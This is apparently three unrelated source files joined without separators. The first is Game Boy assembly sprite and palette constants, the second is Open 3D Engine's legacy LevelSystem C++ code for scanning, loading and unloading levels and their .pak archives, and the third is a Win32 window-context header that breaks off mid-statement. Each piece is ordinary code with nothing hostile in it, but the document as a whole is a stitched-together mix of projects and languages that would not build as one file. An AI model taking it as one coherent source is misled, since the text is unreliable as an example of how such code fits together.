; overworld_sprite struct members (see data/sprites.asm) const_def const SPRITEDATA_ADDR ; 0 const SPRITEDATA_ADDR_HI ; 1 const SPRITEDATA_SIZE ; 2 const SPRITEDATA_BANK ; 3 const SPRITEDATA_TYPE ; 4 const SPRITEDATA_PALETTE ; 5 NUM_SPRITEDATA_FIELDS EQU const_value ; sprite types const_def 1 const WALKING_SPRITE ; 1 const STANDING_SPRITE ; 2 const STILL_SPRITE ; 3 ; sprite palettes const_def const PAL_OW_RED ; 0 const PAL_OW_BLUE ; 1 const PAL_OW_GREEN ; 2 const PAL_OW_BROWN ; 3 const PAL_OW_PINK ; 4 const PAL_OW_SILVER ; 5 const PAL_OW_TREE ; 6 const PAL_OW_ROCK ; 7 ; object_events set bit 3 so as not to use the sprite's default palette ; MapObjectPals indexes (see gfx/overworld/npc_sprites.pal) const_def 1 << 3 const PAL_NPC_RED ; 8 const PAL_NPC_BLUE ; 9 const PAL_NPC_GREEN ; a const PAL_NPC_BROWN ; b const PAL_NPC_PINK ; c const PAL_NPC_SILVER ; d const PAL_NPC_TREE ; e const PAL_NPC_ROCK ; f
/* * Copyright (c) Contributors to the Open 3D Engine Project. * For complete copyright and license terms please see the LICENSE at the root of this distribution. * * SPDX-License-Identifier: Apache-2.0 OR MIT * */ // [LYN-2376] Remove the entire file once legacy slice support is removed #include "CrySystem_precompiled.h" #include "LevelSystem.h" #include <IAudioSystem.h> #include "IMovieSystem.h" #include <ILocalizationManager.h> #include "CryPath.h" #include <LoadScreenBus.h> #include <AzCore/Debug/AssetTracking.h> #include <AzFramework/API/ApplicationAPI.h> #include <AzFramework/IO/FileOperations.h> #include <AzFramework/Entity/GameEntityContextBus.h> #include <AzFramework/Input/Buses/Requests/InputChannelRequestBus.h> #include <AzFramework/Spawnable/RootSpawnableInterface.h> #include "MainThreadRenderRequestBus.h" #include <LyShine/ILyShine.h> #include <AzCore/Component/TickBus.h> #include <AzCore/IO/Path/Path.h> #include <AzCore/StringFunc/StringFunc.h> #include <AzCore/Script/ScriptSystemBus.h> #ifdef WIN32 #include <CryWindows.h> #endif namespace LegacyLevelSystem { static constexpr const char* ArchiveExtension = ".pak"; void CLevelInfo::GetMemoryUsage(ICrySizer* pSizer) const { pSizer->AddObject(m_levelName); pSizer->AddObject(m_levelPath); } ////////////////////////////////////////////////////////////////////////// bool CLevelInfo::OpenLevelPak() { LOADING_TIME_PROFILE_SECTION; bool usePrefabSystemForLevels = false; AzFramework::ApplicationRequests::Bus::BroadcastResult( usePrefabSystemForLevels, &AzFramework::ApplicationRequests::IsPrefabSystemForLevelsEnabled); // The prefab system doesn't use level.pak if (usePrefabSystemForLevels) { return false; } AZStd::string levelpak(m_levelPath); levelpak += "/level.pak"; AZStd::fixed_string<AZ::IO::IArchive::MaxPath> fullLevelPakPath; bool bOk = gEnv->pCryPak->OpenPack( levelpak.c_str(), m_isPak ? AZ::IO::IArchive::FLAGS_LEVEL_PAK_INSIDE_PAK : (unsigned)0, NULL, &fullLevelPakPath, false); m_levelPakFullPath.assign(fullLevelPakPath.c_str()); return bOk; } ////////////////////////////////////////////////////////////////////////// void CLevelInfo::CloseLevelPak() { LOADING_TIME_PROFILE_SECTION; bool usePrefabSystemForLevels = false; AzFramework::ApplicationRequests::Bus::BroadcastResult( usePrefabSystemForLevels, &AzFramework::ApplicationRequests::IsPrefabSystemForLevelsEnabled); // The prefab system doesn't use level.pak if (usePrefabSystemForLevels) { return; } if (!m_levelPakFullPath.empty()) { gEnv->pCryPak->ClosePack(m_levelPakFullPath.c_str(), AZ::IO::IArchive::FLAGS_PATH_REAL); m_levelPakFullPath.clear(); } } ////////////////////////////////////////////////////////////////////////// bool CLevelInfo::ReadInfo() { bool usePrefabSystemForLevels = false; AzFramework::ApplicationRequests::Bus::BroadcastResult( usePrefabSystemForLevels, &AzFramework::ApplicationRequests::IsPrefabSystemForLevelsEnabled); // Set up a default game type for legacy code. m_defaultGameTypeName = "Mission0"; if (usePrefabSystemForLevels) { return true; } AZStd::string levelPath(m_levelPath); AZStd::string xmlFile(levelPath); xmlFile += "/LevelInfo.xml"; XmlNodeRef rootNode = GetISystem()->LoadXmlFromFile(xmlFile.c_str()); if (rootNode) { AZStd::string dataFile(levelPath); dataFile += "/LevelDataAction.xml"; XmlNodeRef dataNode = GetISystem()->LoadXmlFromFile(dataFile.c_str()); if (!dataNode) { dataFile = levelPath + "/LevelData.xml"; dataNode = GetISystem()->LoadXmlFromFile(dataFile.c_str()); } if (dataNode) { XmlNodeRef gameTypesNode = dataNode->findChild("Missions"); if ((gameTypesNode != 0) && (gameTypesNode->getChildCount() > 0)) { m_defaultGameTypeName.clear(); for (int i = 0; i < gameTypesNode->getChildCount(); i++) { XmlNodeRef gameTypeNode = gameTypesNode->getChild(i); if (gameTypeNode->isTag("Mission")) { const char* gameTypeName = gameTypeNode->getAttr("Name"); if (gameTypeName) { m_defaultGameTypeName = gameTypeName; break; } } } } } } return rootNode != 0; } ////////////////////////////////////////////////////////////////////////// /// Used by console auto completion. struct SLevelNameAutoComplete : public IConsoleArgumentAutoComplete { AZStd::vector<AZStd::string> levels; virtual int GetCount() const { return static_cast<int>(levels.size()); }; virtual const char* GetValue(int nIndex) const { return levels[nIndex].c_str(); }; }; // definition and declaration must be separated for devirtualization static StaticInstance<SLevelNameAutoComplete, AZStd::no_destruct<SLevelNameAutoComplete>> g_LevelNameAutoComplete; //------------------------------------------------------------------------ static void LoadMap(IConsoleCmdArgs* args) { if (gEnv->pSystem && gEnv->pSystem->GetILevelSystem() && !gEnv->IsEditor()) { if (args->GetArgCount() > 1) { gEnv->pSystem->GetILevelSystem()->UnloadLevel(); gEnv->pSystem->GetILevelSystem()->LoadLevel(args->GetArg(1)); } } } //------------------------------------------------------------------------ static void UnloadMap([[maybe_unused]] IConsoleCmdArgs* args) { if (gEnv->pSystem && gEnv->pSystem->GetILevelSystem() && !gEnv->IsEditor()) { gEnv->pSystem->GetILevelSystem()->UnloadLevel(); } } //------------------------------------------------------------------------ CLevelSystem::CLevelSystem(ISystem* pSystem, const char* levelsFolder) : m_pSystem(pSystem) , m_pCurrentLevel(0) , m_pLoadingLevelInfo(0) { LOADING_TIME_PROFILE_SECTION; CRY_ASSERT(pSystem); //if (!gEnv->IsEditor()) Rescan(levelsFolder); m_fLastLevelLoadTime = 0; m_fLastTime = 0; m_bLevelLoaded = false; m_levelLoadStartTime.SetValue(0); m_nLoadedLevelsCount = 0; REGISTER_COMMAND("map", LoadMap, VF_BLOCKFRAME, "Load a map"); REGISTER_COMMAND("unload", UnloadMap, 0, "Unload current map"); gEnv->pConsole->RegisterAutoComplete("map", &(*g_LevelNameAutoComplete)); AZ_Assert(gEnv && gEnv->pCryPak, "gEnv and CryPak must be initialized for loading levels."); if (!gEnv || !gEnv->pCryPak) { return; } auto pPak = gEnv->pCryPak; if (AZ::IO::IArchive::LevelPackOpenEvent* levelPakOpenEvent = pPak->GetLevelPackOpenEvent()) { m_levelPackOpenHandler = AZ::IO::IArchive::LevelPackOpenEvent::Handler([this](const AZStd::vector<AZStd::string>& levelDirs) { for (AZStd::string dir : levelDirs) { AZ::StringFunc::Path::StripComponent(dir, true); AZStd::string searchPattern = dir + AZ_FILESYSTEM_SEPARATOR_WILDCARD; bool modFolder = false; PopulateLevels(searchPattern, dir, gEnv->pCryPak, modFolder, false); } }); m_levelPackOpenHandler.Connect(*levelPakOpenEvent); } if (AZ::IO::IArchive::LevelPackCloseEvent* levelPakCloseEvent = pPak->GetLevelPackCloseEvent()) { m_levelPackCloseHandler = AZ::IO::IArchive::LevelPackCloseEvent::Handler([this](AZStd::string_view) { Rescan(ILevelSystem::LevelsDirectoryName); }); m_levelPackCloseHandler.Connect(*levelPakCloseEvent); } } //------------------------------------------------------------------------ CLevelSystem::~CLevelSystem() { } //------------------------------------------------------------------------ void CLevelSystem::Rescan(const char* levelsFolder) { if (levelsFolder) { m_levelsFolder = levelsFolder; } CRY_ASSERT(!m_levelsFolder.empty()); m_levelInfos.clear(); m_levelInfos.reserve(64); ScanFolder(0, false); g_LevelNameAutoComplete->levels.clear(); for (int i = 0; i < (int)m_levelInfos.size(); i++) { g_LevelNameAutoComplete->levels.push_back(AZStd::string(PathUtil::GetFileName(m_levelInfos[i].GetName()).c_str())); } } //----------------------------------------------------------------------- void CLevelSystem::ScanFolder(const char* subfolder, bool modFolder) { AZStd::string folder; if (subfolder && subfolder[0]) { folder = subfolder; } AZStd::string search(m_levelsFolder); if (!folder.empty()) { if (AZ::StringFunc::StartsWith(folder.c_str(), m_levelsFolder.c_str())) { search = folder; } else { search += "/" + folder; } } search += "/*"; AZ_Assert(gEnv && gEnv->pCryPak, "gEnv and must be initialized for loading levels."); if (!gEnv || !gEnv->pCryPak) { return; } auto pPak = gEnv->pCryPak; AZStd::unordered_set<AZStd::string> pakList; const bool allowFileSystem = true; const uint32_t skipPakFiles = 1; AZ::IO::ArchiveFileIterator handle = pPak->FindFirst(search.c_str(), AZ::IO::IArchive::eFileSearchType_AllowOnDiskOnly); if (handle) { do { AZStd::string extension; AZStd::string levelName; AZ::StringFunc::Path::Split(handle.m_filename.data(), nullptr, nullptr, &levelName, &extension); if (extension == ArchiveExtension) { if (AZ::StringFunc::Equal(handle.m_filename.data(), LevelPakName)) { // level folder contain pak files like 'level.pak' // which we only want to load during level loading. continue; } AZStd::string levelContainerPakPath; AZ::StringFunc::Path::Join("@assets@", m_levelsFolder.c_str(), levelContainerPakPath); if (subfolder && subfolder[0]) { AZ::StringFunc::Path::Join(levelContainerPakPath.c_str(), subfolder, levelContainerPakPath); } AZ::StringFunc::Path::Join(levelContainerPakPath.c_str(), handle.m_filename.data(), levelContainerPakPath); pakList.emplace(levelContainerPakPath); continue; } } while (handle = pPak->FindNext(handle)); pPak->FindClose(handle); } // Open all the available paks found in the levels folder for (auto iter = pakList.begin(); iter != pakList.end(); iter++) { AZStd::fixed_string<AZ::IO::IArchive::MaxPath> fullLevelPakPath; gEnv->pCryPak->OpenPack(iter->c_str(), (unsigned)0, nullptr, &fullLevelPakPath, false); } // Levels in bundles now take priority over levels outside of bundles. PopulateLevels(search, folder, pPak, modFolder, false); // Load levels outside of the bundles to maintain backward compatibility. PopulateLevels(search, folder, pPak, modFolder, true); } void CLevelSystem::PopulateLevels( AZStd::string searchPattern, AZStd::string& folder, AZ::IO::IArchive* pPak, bool& modFolder, bool fromFileSystemOnly) { { // allow this find first to actually touch the file system // (causes small overhead but with minimal amount of levels this should only be around 150ms on actual DVD Emu) AZ::IO::ArchiveFileIterator handle = pPak->FindFirst(searchPattern.c_str(), AZ::IO::IArchive::eFileSearchType_AllowOnDiskOnly); if (handle) { do { if ((handle.m_fileDesc.nAttrib & AZ::IO::FileDesc::Attribute::Subdirectory) != AZ::IO::FileDesc::Attribute::Subdirectory || handle.m_filename == "." || handle.m_filename == "..") { continue; } AZStd::string levelFolder; if (fromFileSystemOnly) { levelFolder = (folder.empty() ? "" : (folder + "/")) + AZStd::string(handle.m_filename.data(), handle.m_filename.size()); } else { AZStd::string levelName(AZ::IO::PathView(handle.m_filename).Filename().Native()); levelFolder = (folder.empty() ? "" : (folder + "/")) + levelName; } AZStd::string levelPath; if (AZ::StringFunc::StartsWith(levelFolder.c_str(), m_levelsFolder.c_str())) { levelPath = levelFolder; } else { levelPath = m_levelsFolder + "/" + levelFolder; } const AZStd::string levelPakName = levelPath + "/" + LevelPakName; const AZStd::string levelInfoName = levelPath + "/levelinfo.xml"; if (!pPak->IsFileExist( levelPakName.c_str(), fromFileSystemOnly ? AZ::IO::IArchive::eFileLocation_OnDisk : AZ::IO::IArchive::eFileLocation_InPak) && !pPak->IsFileExist( levelInfoName.c_str(), fromFileSystemOnly ? AZ::IO::IArchive::eFileLocation_OnDisk : AZ::IO::IArchive::eFileLocation_InPak)) { ScanFolder(levelFolder.c_str(), modFolder); continue; } // With the level.pak workflow, levelPath and levelName will point to a directory. // levelPath: levels/mylevel // levelName: mylevel CLevelInfo levelInfo; levelInfo.m_levelPath = levelPath; levelInfo.m_levelName = levelFolder; levelInfo.m_isPak = !fromFileSystemOnly; CLevelInfo* pExistingInfo = GetLevelInfoInternal(levelInfo.m_levelName); // Don't add the level if it is already in the list if (pExistingInfo == NULL) { m_levelInfos.push_back(levelInfo); } else { // Levels in bundles take priority over levels outside bundles. if (!pExistingInfo->m_isPak && levelInfo.m_isPak) { *pExistingInfo = levelInfo; } } } while (handle = pPak->FindNext(handle)); pPak->FindClose(handle); } } } //------------------------------------------------------------------------ int CLevelSystem::GetLevelCount() { return (int)m_levelInfos.size(); } //------------------------------------------------------------------------ ILevelInfo* CLevelSystem::GetLevelInfo(int level) { return GetLevelInfoInternal(level); } //------------------------------------------------------------------------ CLevelInfo* CLevelSystem::GetLevelInfoInternal(int level) { if ((level >= 0) && (level < GetLevelCount())) { return &m_levelInfos[level]; } return 0; } //------------------------------------------------------------------------ ILevelInfo* CLevelSystem::GetLevelInfo(const char* levelName) { return GetLevelInfoInternal(levelName); } //------------------------------------------------------------------------ CLevelInfo* CLevelSystem::GetLevelInfoInternal(const AZStd::string& levelName) { // If level not found by full name try comparing with only filename for (AZStd::vector<CLevelInfo>::iterator it = m_levelInfos.begin(); it != m_levelInfos.end(); ++it) { if (!azstricmp(it->GetName(), levelName.c_str())) { return &(*it); } } ////////////////////////////////////////////////////////////////////////// for (AZStd::vector<CLevelInfo>::iterator it = m_levelInfos.begin(); it != m_levelInfos.end(); ++it) { { if (!azstricmp(PathUtil::GetFileName(it->GetName()), levelName.c_str())) { return &(*it); } } } // Try stripping out the folder to find the raw filename AZStd::string sLevelName(levelName); size_t lastSlash = sLevelName.find_last_of('\\'); if (lastSlash == AZStd::string::npos) { lastSlash = sLevelName.find_last_of('/'); } if (lastSlash != AZStd::string::npos) { sLevelName = sLevelName.substr(lastSlash + 1, sLevelName.size() - lastSlash - 1); return GetLevelInfoInternal(sLevelName.c_str()); } return 0; } //------------------------------------------------------------------------ void CLevelSystem::AddListener(ILevelSystemListener* pListener) { AZStd::vector<ILevelSystemListener*>::iterator it = AZStd::find(m_listeners.begin(), m_listeners.end(), pListener); if (it == m_listeners.end()) { m_listeners.reserve(12); m_listeners.push_back(pListener); } } //------------------------------------------------------------------------ void CLevelSystem::RemoveListener(ILevelSystemListener* pListener) { AZStd::vector<ILevelSystemListener*>::iterator it = AZStd::find(m_listeners.begin(), m_listeners.end(), pListener); if (it != m_listeners.end()) { m_listeners.erase(it); if (m_listeners.empty()) { m_listeners.shrink_to_fit(); } } } //------------------------------------------------------------------------ bool CLevelSystem::LoadLevel(const char* _levelName) { if (gEnv->IsEditor()) { AZ_TracePrintf("CrySystem::CLevelSystem", "LoadLevel for %s was called in the editor - not actually loading.\n", _levelName); return false; } // If a level is currently loaded, unload it before loading the next one. if (IsLevelLoaded()) { UnloadLevel(); } gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_LEVEL_LOAD_PREPARE, 0, 0); PrepareNextLevel(_levelName); ILevel* level = LoadLevelInternal(_levelName); if (level) { OnLoadingComplete(_levelName); } return (level != nullptr); } //------------------------------------------------------------------------ ILevel* CLevelSystem::LoadLevelInternal(const char* _levelName) { gEnv->pSystem->SetSystemGlobalState(ESYSTEM_GLOBAL_STATE_LEVEL_LOAD_START); AZ_ASSET_NAMED_SCOPE("Level: %s", _levelName); CryLog ("Level system is loading \"%s\"", _levelName); INDENT_LOG_DURING_SCOPE(); char levelName[256]; cry_strcpy(levelName, _levelName); // Not remove a scope!!! { LOADING_TIME_PROFILE_SECTION; //m_levelLoadStartTime = gEnv->pTimer->GetAsyncTime(); CLevelInfo* pLevelInfo = GetLevelInfoInternal(levelName); if (!pLevelInfo) { // alert the listener OnLevelNotFound(levelName); return 0; } m_bLevelLoaded = false; const bool bLoadingSameLevel = azstricmp(m_lastLevelName.c_str(), levelName) == 0; m_lastLevelName = levelName; delete m_pCurrentLevel; CLevel* pLevel = new CLevel(); pLevel->m_levelInfo = *pLevelInfo; m_pCurrentLevel = pLevel; ////////////////////////////////////////////////////////////////////////// // Read main level info. if (!pLevelInfo->ReadInfo()) { OnLoadingError(levelName, "Failed to read level info (level.pak might be corrupted)!"); return 0; } //[AlexMcC|19.04.10]: Update the level's LevelInfo pLevel->m_levelInfo = *pLevelInfo; ////////////////////////////////////////////////////////////////////////// gEnv->pConsole->SetScrollMax(600); ICVar* con_showonload = gEnv->pConsole->GetCVar("con_showonload"); if (con_showonload && con_showonload->GetIVal() != 0) { gEnv->pConsole->ShowConsole(true); ICVar* g_enableloadingscreen = gEnv->pConsole->GetCVar("g_enableloadingscreen"); if (g_enableloadingscreen) { g_enableloadingscreen->Set(0); } } // Reset the camera to (1,1,1) (not (0,0,0) which is the invalid/uninitialised state, // to avoid the hack in the renderer to not show anything if the camera is at the origin). CCamera defaultCam; defaultCam.SetPosition(Vec3(1.0f)); m_pSystem->SetViewCamera(defaultCam); m_pLoadingLevelInfo = pLevelInfo; OnLoadingStart(levelName); auto pPak = gEnv->pCryPak; AZStd::string levelPath(pLevelInfo->GetPath()); ICVar* pSpamDelay = gEnv->pConsole->GetCVar("log_SpamDelay"); float spamDelay = 0.0f; if (pSpamDelay) { spamDelay = pSpamDelay->GetFVal(); pSpamDelay->Set(0.0f); } // Parse level specific config data. AZStd::string const sLevelNameOnly(PathUtil::GetFileName(levelName)); if (!sLevelNameOnly.empty()) { const char* controlsPath = nullptr; Audio::AudioSystemRequestBus::BroadcastResult(controlsPath, &Audio::AudioSystemRequestBus::Events::GetControlsPath); if (controlsPath) { AZStd::string sAudioLevelPath(controlsPath); sAudioLevelPath.append("levels/"); sAudioLevelPath += sLevelNameOnly; Audio::SAudioManagerRequestData<Audio::eAMRT_PARSE_CONTROLS_DATA> oAMData(sAudioLevelPath.c_str(), Audio::eADS_LEVEL_SPECIFIC); Audio::SAudioRequest oAudioRequestData; oAudioRequestData.nFlags = (Audio::eARF_PRIORITY_HIGH | Audio::eARF_EXECUTE_BLOCKING); // Needs to be blocking so data is available for next preloading request! oAudioRequestData.pData = &oAMData; Audio::AudioSystemRequestBus::Broadcast(&Audio::AudioSystemRequestBus::Events::PushRequestBlocking, oAudioRequestData); Audio::SAudioManagerRequestData<Audio::eAMRT_PARSE_PRELOADS_DATA> oAMData2(sAudioLevelPath.c_str(), Audio::eADS_LEVEL_SPECIFIC); oAudioRequestData.pData = &oAMData2; Audio::AudioSystemRequestBus::Broadcast(&Audio::AudioSystemRequestBus::Events::PushRequestBlocking, oAudioRequestData); Audio::TAudioPreloadRequestID nPreloadRequestID = INVALID_AUDIO_PRELOAD_REQUEST_ID; Audio::AudioSystemRequestBus::BroadcastResult(nPreloadRequestID, &Audio::AudioSystemRequestBus::Events::GetAudioPreloadRequestID, sLevelNameOnly.c_str()); if (nPreloadRequestID != INVALID_AUDIO_PRELOAD_REQUEST_ID) { Audio::SAudioManagerRequestData<Audio::eAMRT_PRELOAD_SINGLE_REQUEST> requestData(nPreloadRequestID, true); oAudioRequestData.pData = &requestData; Audio::AudioSystemRequestBus::Broadcast(&Audio::AudioSystemRequestBus::Events::PushRequestBlocking, oAudioRequestData); } } } { AZStd::string missionXml("Mission_"); missionXml += pLevelInfo->m_defaultGameTypeName; missionXml += ".xml"; AZStd::string xmlFile(pLevelInfo->GetPath()); xmlFile += "/"; xmlFile += missionXml; if (!gEnv->IsEditor()) { AZStd::string entitiesFilename = AZStd::string::format("%s/%s.entities_xml", pLevelInfo->GetPath(), pLevelInfo->m_defaultGameTypeName.c_str()); AZStd::vector<char> fileBuffer; CCryFile entitiesFile; if (entitiesFile.Open(entitiesFilename.c_str(), "rt")) { fileBuffer.resize(entitiesFile.GetLength()); if (fileBuffer.size() == entitiesFile.ReadRaw(fileBuffer.begin(), fileBuffer.size())) { AZ::IO::ByteContainerStream<AZStd::vector<char>> fileStream(&fileBuffer); EBUS_EVENT(AzFramework::GameEntityContextRequestBus, LoadFromStream, fileStream, false); } } } } ////////////////////////////////////////////////////////////////////////// // Movie system must be reset after entities. ////////////////////////////////////////////////////////////////////////// IMovieSystem* movieSys = gEnv->pMovieSystem; if (movieSys != NULL) { // bSeekAllToStart needs to be false here as it's only of interest in the editor movieSys->Reset(true, false); } gEnv->pSystem->SetSystemGlobalState(ESYSTEM_GLOBAL_STATE_LEVEL_LOAD_START_PRECACHE); ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// gEnv->pConsole->SetScrollMax(600 / 2); pPak->GetResourceList(AZ::IO::IArchive::RFOM_NextLevel)->Clear(); if (pSpamDelay) { pSpamDelay->Set(spamDelay); } m_bLevelLoaded = true; gEnv->pSystem->SetSystemGlobalState(ESYSTEM_GLOBAL_STATE_LEVEL_LOAD_END); } GetISystem()->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_LEVEL_LOAD_END, 0, 0); if (auto cvar = gEnv->pConsole->GetCVar("sv_map"); cvar) { cvar->Set(levelName); } gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_LEVEL_PRECACHE_START, 0, 0); return m_pCurrentLevel; } //------------------------------------------------------------------------ void CLevelSystem::PrepareNextLevel(const char* levelName) { CLevelInfo* pLevelInfo = GetLevelInfoInternal(levelName); if (!pLevelInfo) { // alert the listener OnLevelNotFound(levelName); return; } // This work not required in-editor. if (!gEnv || !gEnv->IsEditor()) { m_levelLoadStartTime = gEnv->pTimer->GetAsyncTime(); // Open pak file for a new level. pLevelInfo->OpenLevelPak(); // switched to level heap, so now imm start the loading screen (renderer will be reinitialized in the levelheap) gEnv->pSystem->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_LEVEL_LOAD_START_LOADINGSCREEN, 0, 0); gEnv->pSystem->SetSystemGlobalState(ESYSTEM_GLOBAL_STATE_LEVEL_LOAD_START_PREPARE); } for (AZStd::vector<ILevelSystemListener*>::const_iterator it = m_listeners.begin(); it != m_listeners.end(); ++it) { (*it)->OnPrepareNextLevel(pLevelInfo->GetName()); } } //------------------------------------------------------------------------ void CLevelSystem::OnLevelNotFound(const char* levelName) { for (AZStd::vector<ILevelSystemListener*>::const_iterator it = m_listeners.begin(); it != m_listeners.end(); ++it) { (*it)->OnLevelNotFound(levelName); } } //------------------------------------------------------------------------ void CLevelSystem::OnLoadingStart(const char* levelName) { if (gEnv->pCryPak->GetRecordFileOpenList() == AZ::IO::IArchive::RFOM_EngineStartup) { gEnv->pCryPak->RecordFileOpen(AZ::IO::IArchive::RFOM_Level); } m_fLastTime = gEnv->pTimer->GetAsyncCurTime(); GetISystem()->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_LEVEL_LOAD_START, 0, 0); LOADING_TIME_PROFILE_SECTION(gEnv->pSystem); for (AZStd::vector<ILevelSystemListener*>::const_iterator it = m_listeners.begin(); it != m_listeners.end(); ++it) { (*it)->OnLoadingStart(levelName); } } //------------------------------------------------------------------------ void CLevelSystem::OnLoadingError(const char* levelName, const char* error) { ILevelInfo* pLevelInfo = m_pLoadingLevelInfo; if (!pLevelInfo) { CRY_ASSERT(false); return; } for (AZStd::vector<ILevelSystemListener*>::const_iterator it = m_listeners.begin(); it != m_listeners.end(); ++it) { (*it)->OnLoadingError(levelName, error); } ((CLevelInfo*)pLevelInfo)->CloseLevelPak(); } //------------------------------------------------------------------------ void CLevelSystem::OnLoadingComplete(const char* levelName) { CTimeValue t = gEnv->pTimer->GetAsyncTime(); m_fLastLevelLoadTime = (t - m_levelLoadStartTime).GetSeconds(); LogLoadingTime(); m_nLoadedLevelsCount++; // Hide console after loading. gEnv->pConsole->ShowConsole(false); for (AZStd::vector<ILevelSystemListener*>::const_iterator it = m_listeners.begin(); it != m_listeners.end(); ++it) { (*it)->OnLoadingComplete(levelName); } #if AZ_LOADSCREENCOMPONENT_ENABLED EBUS_EVENT(LoadScreenBus, Stop); #endif // if AZ_LOADSCREENCOMPONENT_ENABLED } //------------------------------------------------------------------------ void CLevelSystem::OnLoadingProgress(const char* levelName, int progressAmount) { for (AZStd::vector<ILevelSystemListener*>::const_iterator it = m_listeners.begin(); it != m_listeners.end(); ++it) { (*it)->OnLoadingProgress(levelName, progressAmount); } } //------------------------------------------------------------------------ void CLevelSystem::OnUnloadComplete(const char* levelName) { for (AZStd::vector<ILevelSystemListener*>::const_iterator it = m_listeners.begin(); it != m_listeners.end(); ++it) { (*it)->OnUnloadComplete(levelName); } } ////////////////////////////////////////////////////////////////////////// void CLevelSystem::LogLoadingTime() { if (gEnv->IsEditor()) { return; } if (!GetISystem()->IsDevMode()) { return; } char vers[128]; GetISystem()->GetFileVersion().ToString(vers, sizeof(vers)); const char* sChain = ""; if (m_nLoadedLevelsCount > 0) { sChain = " (Chained)"; } AZStd::string text; text.format("Game Level Load Time: [%s] Level %s loaded in %.2f seconds%s", vers, m_lastLevelName.c_str(), m_fLastLevelLoadTime, sChain); gEnv->pLog->Log(text.c_str()); } void CLevelSystem::GetMemoryUsage(ICrySizer* pSizer) const { pSizer->AddObject(this, sizeof(*this)); pSizer->AddObject(m_levelInfos); pSizer->AddObject(m_levelsFolder); pSizer->AddObject(m_listeners); } ////////////////////////////////////////////////////////////////////////// void CLevelSystem::UnloadLevel() { if (gEnv->IsEditor()) { return; } if (!m_pLoadingLevelInfo) { return; } CryLog("UnloadLevel Start"); INDENT_LOG_DURING_SCOPE(); // Flush core buses. We're about to unload Cry modules and need to ensure we don't have module-owned functions left behind. AZ::Data::AssetBus::ExecuteQueuedEvents(); AZ::TickBus::ExecuteQueuedEvents(); AZ::MainThreadRenderRequestBus::ExecuteQueuedEvents(); if (gEnv && gEnv->pSystem) { // clear all error messages to prevent stalling due to runtime file access check during chainloading gEnv->pSystem->ClearErrorMessages(); } if (gEnv && gEnv->pCryPak) { gEnv->pCryPak->DisableRuntimeFileAccess(false); } CTimeValue tBegin = gEnv->pTimer->GetAsyncTime(); // Clear level entities and prefab instances. EBUS_EVENT(AzFramework::GameEntityContextRequestBus, ResetGameContext); if (gEnv->pMovieSystem) { gEnv->pMovieSystem->Reset(false, false); gEnv->pMovieSystem->RemoveAllSequences(); } // Unload level specific audio binary data. Audio::SAudioManagerRequestData<Audio::eAMRT_UNLOAD_AFCM_DATA_BY_SCOPE> oAMData(Audio::eADS_LEVEL_SPECIFIC); Audio::SAudioRequest oAudioRequestData; oAudioRequestData.nFlags = (Audio::eARF_PRIORITY_HIGH | Audio::eARF_EXECUTE_BLOCKING); oAudioRequestData.pData = &oAMData; Audio::AudioSystemRequestBus::Broadcast(&Audio::AudioSystemRequestBus::Events::PushRequestBlocking, oAudioRequestData); // Now unload level specific audio config data. Audio::SAudioManagerRequestData<Audio::eAMRT_CLEAR_CONTROLS_DATA> oAMData2(Audio::eADS_LEVEL_SPECIFIC); oAudioRequestData.pData = &oAMData2; Audio::AudioSystemRequestBus::Broadcast(&Audio::AudioSystemRequestBus::Events::PushRequestBlocking, oAudioRequestData); Audio::SAudioManagerRequestData<Audio::eAMRT_CLEAR_PRELOADS_DATA> oAMData3(Audio::eADS_LEVEL_SPECIFIC); oAudioRequestData.pData = &oAMData3; Audio::AudioSystemRequestBus::Broadcast(&Audio::AudioSystemRequestBus::Events::PushRequestBlocking, oAudioRequestData); // Reset the camera to (0,0,0) which is the invalid/uninitialised state CCamera defaultCam; m_pSystem->SetViewCamera(defaultCam); OnUnloadComplete(m_lastLevelName.c_str()); // -- kenzo: this will close all pack files for this level // (even the ones which were not added through here, if this is not desired, // then change code to close only level.pak) if (m_pLoadingLevelInfo) { ((CLevelInfo*)m_pLoadingLevelInfo)->CloseLevelPak(); m_pLoadingLevelInfo = NULL; } m_lastLevelName.clear(); SAFE_RELEASE(m_pCurrentLevel); // Force Lua garbage collection (may no longer be needed now the legacy renderer has been removed). // Normally the GC step is triggered at the end of this method (by the ESYSTEM_EVENT_LEVEL_POST_UNLOAD event). EBUS_EVENT(AZ::ScriptSystemRequestBus, GarbageCollect); // Perform level unload procedures for the LyShine UI system if (gEnv && gEnv->pLyShine) { gEnv->pLyShine->OnLevelUnload(); } m_bLevelLoaded = false; CTimeValue tUnloadTime = gEnv->pTimer->GetAsyncTime() - tBegin; CryLog("UnloadLevel End: %.1f sec", tUnloadTime.GetSeconds()); // Must be sent last. // Cleanup all containers GetISystem()->GetISystemEventDispatcher()->OnSystemEvent(ESYSTEM_EVENT_LEVEL_POST_UNLOAD, 0, 0); AzFramework::InputChannelRequestBus::Broadcast(&AzFramework::InputChannelRequests::ResetState); } } // namespace LegacyLevelSystem
// // Created by Tobias on 1/4/2021. // #ifndef NPP_WIN32CONTEXT_HPP #define NPP_WIN32CONTEXT_HPP #include "../util/win_headers.hpp" #include <concepts> #include <iostream> template<typename derived_t> class Win32Context { public: Win32Context() : m_window{nullptr}, m_wndClass{0} {} virtual ~Win32Context() { DestroyWindow(m_window); UnregisterClass(m_wndClass.lpszClassName, m_wndClass.hInstance); } BOOL create(PCWSTR lpWindowName, DWORD dwStyle, DWORD dwExStyle = 0, int x = CW_USEDEFAULT, int y = CW_USEDEFAULT, int nWidth = CW_USEDEFAULT, int nHeight = CW_USEDEFAULT, HWND hWndParent = nullptr, HMENU hMenu = nullptr) { m_wndClass = {0}; m_wndClass.lpfnWndProc = derived_t::s_win_proc; m_wndClass.hInstance = GetModuleHandle(nullptr); m_wndClass.lpszClassName = class_name(); RegisterClass(&m_wndClass); m_window = CreateWindowEx(dwExStyle, class_name(), lpWindowName, dwStyle, x, y, nWidth, nHeight, hWndParent, hMenu, GetModuleHandle(nullptr), this); if(valid()) { if(!on_valid_context_creation()) { return FALSE; } } return valid(); } [[maybe_unused]] [[nodiscard]] HWND get_window() const { return m_window; } BOOL valid() { return 